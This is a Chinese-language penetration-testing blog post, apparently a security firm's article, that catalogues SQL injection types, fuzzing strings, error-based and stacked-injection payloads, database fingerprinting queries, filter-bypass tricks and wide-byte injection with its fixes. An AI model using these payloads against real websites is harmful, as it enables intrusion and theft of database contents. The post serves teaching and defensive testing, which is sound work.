网站渗透测试出漏洞该怎么防范

简介: 国庆即将到来,前一期讲到获取网站信息判断所属环境以及各个端口的用处和弱口令密码利用方法,这期仍有很多客户找到我们Sine安全想要了解针对于SQL注入攻击的测试方法,这一期我们来讲解下注入的攻击分类和使用手法,让客户明白漏洞是如何产生的,会给网站安全带来怎样的影响!3.1 SQL注入漏洞 3.1.1. 注入分类 SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。
+关注继续查看

国庆即将到来,前一期讲到获取网站信息判断所属环境以及各个端口的用处和弱口令密码利用方法,这期仍有很多客户找到我们Sine安全想要了解针对于SQL注入攻击的测试方法,这一期我们来讲解下注入的攻击分类和使用手法,让客户明白漏洞是如何产生的,会给网站安全带来怎样的影响!
timg
3.1 SQL注入漏洞

3.1.1. 注入分类

SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。在应用程序中,如果没有做恰当的过滤,则可能使得恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者)。

3.1.1.1. 按技巧分类

根据使用的技巧,SQL注入类型可分为

盲注
布尔盲注:只能从应用返回中推断语句执行后的布尔值
时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断
报错注入:应用会显示全部或者部分的报错信息
堆叠注入:有的应用可以加入 ; 后一次执行多条语句
其他
3.1.1.2. 按获取数据的方式分类

另外也可以根据获取数据的方式分为3类

inband
利用Web应用来直接获取数据
如报错注入
都是通过站点的响应或者错误反馈来提取数据
inference
通过Web的一些反映来推断数据
如布尔盲注和堆叠注入
也就是我们通俗的盲注,
通过web应用的其他改变来推断数据
out of band(OOB)
通过其他传输方式来获得数据,比如DNS解析协议和电子邮件
3.1.2. 注入检测

3.1.2.1. 常见的注入点

GET/POST/PUT/DELETE参数
X-Forwarded-For
文件名
3.1.2.2. Fuzz注入点

' / "
1/1
1/0
and 1=1
" and "1"="1
and 1=2
or 1=1
or 1=
' and '1'='1

    • ^ * % /
      << >> || | & &&

~
!
@
反引号执行
3.1.2.3. 测试用常量

@@version
@@servername
@@language
@@spid
3.1.2.4. 测试列数

例如 域名/index.asp?id=12+union+select+nulll,null-- ,不断增加 null 至不返回

3.1.2.5. 报错注入

select 1/0
select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a
extractvalue(1, concat(0x5c,(select user())))
updatexml(0x3a,concat(1,(select user())),1)
exp(~(SELECT * from(select user())a))
ST_LatFromGeoHash((select from(select from(select user())a)b))
GTID_SUBSET(version(), 1)
3.1.2.5.1. 基于geometric的报错注入

GeometryCollection((select from (select from(select user())a)b))
polygon((select from(select from(select user())a)b))
multipoint((select from(select from(select user())a)b))
multilinestring((select from(select from(select user())a)b))
LINESTRING((select from(select from(select user())a)b))
multipolygon((select from(select from(select user())a)b))
其中需要注意的是,基于exp函数的报错注入在MySQL 5.5.49后的版本已经不再生效,具体可以参考这个 commit 95825f 。

而以上列表中基于geometric的报错注入在这个 commit 5caea4 中被修复,在5.5.x较后的版本中同样不再生效。

3.1.2.6. 堆叠注入

;select 1
3.1.2.7. 注释符

/xxx/
/!xxx/
/!50000xxx/
3.1.2.8. 判断过滤规则

是否有trunc
是否过滤某个字符
是否过滤关键字
slash和编码
3.1.2.9. 获取信息

判断数据库类型
and exists (select * from msysobjects ) > 0 access数据库
and exists (select * from sysobjects ) > 0 SQLServer数据库
判断数据库表
and exsits (select * from admin)
版本、主机名、用户名、库名
表和字段
确定字段数(Order By Select Into)
表名、列名
3.1.2.10. 测试权限
timg_2_
文件操作

读敏感文件
写shell
带外通道
网络请求
3.1.3. 权限提升

3.1.3.1. UDF提权

UDF(User Defined Function,用户自定义函数)是MySQL提供的一个功能,可以通过编写DLL扩展为MySQL添加新函数,扩充其功能。

当获得MySQL权限之后,即可通过这种方式上传自定义的扩展文件,从MySQL中执行系统命令。

3.1.4. 数据库检测

3.1.4.1. MySQL

sleep sleep(1)
benchmark BENCHMARK(5000000, MD5('test'))
字符串连接
SELECT 'a' 'b'
SELECT CONCAT('some','string')
version
SELECT @@version
SELECT version()
识别用函数
connection_id()
last_insert_id()
row_count()
3.1.4.2. Oracle

字符串连接
'a'||'oracle' --
SELECT CONCAT('some','string')
version
SELECT banner FROM v$version
SELECT banner FROM v$version WHERE rownum=1
3.1.4.3. SQLServer

WAITFOR WAITFOR DELAY '00:00:10';
SERVERNAME SELECT @@SERVERNAME
version SELECT @@version
字符串连接
SELECT 'some'+'string'
常量
@@pack_received
@@rowcount
3.1.4.4. PostgreSQL

sleep pg_sleep(1)
3.1.5. 绕过技巧

编码绕过
大小写
url编码
html编码
十六进制编码
unicode编码
注释
// -- -- + -- - # /**/ ;%00
内联注释用的更多,它有一个特性 /!**/ 只有MySQL能识别
e.g. index.php?id=-1 /!UNION/ /!SELECT/ 1,2,3
只过滤了一次时
union => ununionion
相同功能替换
函数替换
substring / mid / sub
ascii / hex / bin
benchmark / sleep
变量替换
user() / @@user
符号和关键字
and / &
or / |
HTTP参数
HTTP参数污染
id=1&id=2&id=3 根据容器不同会有不同的结果
HTTP分割注入
缓冲区溢出
一些C语言的WAF处理的字符串长度有限,超出某个长度后的payload可能不会被处理
二次注入有长度限制时,通过多句执行的方法改掉数据库该字段的长度绕过
3.1.6. SQL注入小技巧
timg_1_

3.1.6.1. 宽字节注入

一般程序员用gbk编码做开发的时候,会用 set names 'gbk' 来设定,这句话等同于

set

character_set_connection = 'gbk',

character_set_result = 'gbk',

character_set_client = 'gbk';

漏洞发生的原因是执行了 set character_set_client = 'gbk'; 之后,mysql就会认为客户端传过来的数据是gbk编码的,从而使用gbk去解码,而mysql_real_escape是在解码前执行的。但是直接用 set names 'gbk' 的话real_escape是不知道设置的数据的编码的,就会加 %5c 。此时server拿到数据解码 就认为提交的字符+%5c是gbk的一个字符,这样就产生漏洞了。

解决的办法有三种,第一种是把client的charset设置为binary,就不会做一次解码的操作。第二种是是 mysql_set_charset('gbk') ,这里就会把编码的信息保存在和数据库的连接里面,就不会出现这个问题了。第三种就是用pdo。如果期间想要渗透测试自己的网站安全性,可以联系专业的网站安全公司来处理解决,国内推荐Sinesafe,绿盟,启明星辰等等的网站安全公司,还有一些其他的编码技巧,比如latin会弃掉无效的unicode,那么admin%32在代码里面不等于admin,在数据库比较会等于admin。

相关实践学习
基于CentOS快速搭建LAMP环境
本教程介绍如何搭建LAMP环境,其中LAMP分别代表Linux、Apache、MySQL和PHP。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
11月前
|
安全 Linux 网络安全
2022-渗透测试-推荐一款好用的网站漏洞扫描工具-WPscan
2022-渗透测试-推荐一款好用的网站漏洞扫描工具-WPscan
2022-渗透测试-推荐一款好用的网站漏洞扫描工具-WPscan
|
安全 测试技术 网络安全
网站安全防护公司渗透测试从业总结
大家都在忙着自个手工的工作,掌握公司的构架,掌握公司的安全业务状况。可是和刚工作的那时候似的,充满信心,热情无尽。还记得刚到的那时候,也是对现阶段原有的环境开展网站渗透测试,对于在承包方,而且“智勇双全”的人而言,是较为熟知的工作,最终也成功取得网站服务器管理权限,而且推动修补。以后逐渐转化成业务环境上的一个钉,对业务上架开展系统安全测试。
151 0
网站安全防护公司渗透测试从业总结
|
监控 安全 网络安全
网站做渗透测试服务的具体流程
渗透测试是指安全工程师通过模拟恶意攻击者的技术做法,对目标网站/系统/主机的安全防护系统进行深入测试,从而发现安全隐患的评估方法。安全工程师在进行渗透测试时,会使用各种安全审计工具来检测目标系统是否包含已知的各种漏洞。渗透测试完成后,安全工程师会以报告的形式列出系统中存在的安全问题,并对这些安全问题进行评估,最终为用户提供解决这些安全问题的技术解决方案。渗透测试有助于提高用户系统的安全性,已成为系统安全评估的重要组成部分,已普遍使用于各行各业。
198 0
网站做渗透测试服务的具体流程
|
安全 算法 测试技术
渗透测试之网站安全评估方法详情
当前各种安全评估方法总体上按不同的划分标准可以分为四种:依据性质划分的安全评估方法、根据威胁量和攻击等级划分的安全评估方法、基于一定模型的安全评估方法、综合安全评估方法。这四类安全评价方法各有其特点,需要评价方和被测者根据自己的需求和渗透测试的具体结果,选择安全评价方法的类型。下面将对安全评估方法的四种不同类型作具体说明:
167 0
渗透测试之网站安全评估方法详情
|
安全 测试技术 网络安全
网站渗透测试方案与需求分析
在渗透测试的整个过程中,需要提前制定一个测试方案,各种因素都会影响最终的测试结论和结果。渗透测试的目标是最大限度地找出系统的漏洞,时间短,覆盖全面,说服力强。所以在方案的设计中,通过比较突出哪些方法更快更有效,渗透攻击需要点到为止,不破坏系统,也需要有针对性和速度。因此,提出了一个模块化的测试方案。单独的方法测试后,设计自动渗透测试系统,然后实现和测试,得出结果。通过方法比较,可以获得网站在建设和维护中的一些经验。
280 0
网站渗透测试方案与需求分析
|
SQL 安全 前端开发
国内网站渗透测试的攻击方式都有哪些
国内对渗透测试以及安全评估的研究起步较晚,并且大多集中在在渗透测试技术上的研究,安全评估方面也有部分企业和研宄团体具有系统的评估方式。然而国内对基于渗透测试的自动化集成系统研宄还非常少,从目前的网络安全态势来看,传统的渗透测试方式己经无法满足现在网站对安全性能的要求,传统的渗透测试技术和工具都还停留在运用单一渗透测试方法或是单种测试工具,无法全面检测出网站系统存在的漏洞。
207 0
国内网站渗透测试的攻击方式都有哪些
|
安全 网络安全 数据安全/隐私保护
网站渗透测试中的注意事项
工作中的所有操作都在虚拟机中完成。虚拟机不登录QQ、微信、网络磁盘、CSDN等个人账户。渗透条件、开发环境和调试条件需要分离,从目标服务器下载的程序需要在单独的条件中测试和运行。渗透虚拟机应用代理IP上网。
266 0
网站渗透测试中的注意事项
|
安全 网络协议 搜索推荐
渗透测试之获取网站服务器真实原IP的方法
在新年之季,我们SINESAFE在给客户做网站渗透测试服务的时候经常遇到一些网站域名用了CDN节点加速,导致找不到网站的真实IP,目前大部分都是用的百度云加速,阿里云CDN,腾讯云加速,网宿CDN,再就是国外的CLOUDFARE服务商来隐藏网站服务器的真实IP,那么我来跟大家分享下方法来获取用了CDN的真实网站IP。
471 0
渗透测试之获取网站服务器真实原IP的方法
|
存储 安全 中间件
网站漏扫服务换个思路提高渗透测试效率
在渗透测试过程中,我们可以通过插件识别类型后,使用漏洞脚本对特定系统进行模糊。在这里,笔者将与大家分享漏洞POC验证系统的设计和研究思路。在系统开发之初,选用了分布式平台设计架构。后来因为考虑到与分布式资产扫描平台兼容的接口,最后理解了耦合机制,彻底变成了单机版。首先我们可以看到这个地方没有单独设计web管理端,只能通过命令行调度。但是,在设计中,守护进程restapi是保留的,它可以接受来自第三方平台的调度请求。插件模块调用方面,主要有三个模块:流行的漏洞插件,主要用于重现常见的手工测试方法和一些团队发现的内部漏洞。密码漏洞插件:主要包括端口、中间件、未授权应用和弱密码漏洞,包括弱密码字典。
144 0
网站漏扫服务换个思路提高渗透测试效率
|
安全 测试技术 Shell
网站渗透测试报告速写模板指南
网站渗透测试服务在给客户写报告模板或者检查表的时候,应逐步完善。写报告在渗透测试中耗费大量的时间和精力。花费的时间取决于客户和经理期望的交付成果。(中文大概意思是客户和老板能不能看懂你的报告)奖励项目报告通常比渗透测试报告短,但是无论什么格式,您都将受益于为每个文档和测试类型创建模板(黑盒、白盒、Web、网络、wifi)。
304 0
网站渗透测试报告速写模板指南
推荐文章
更多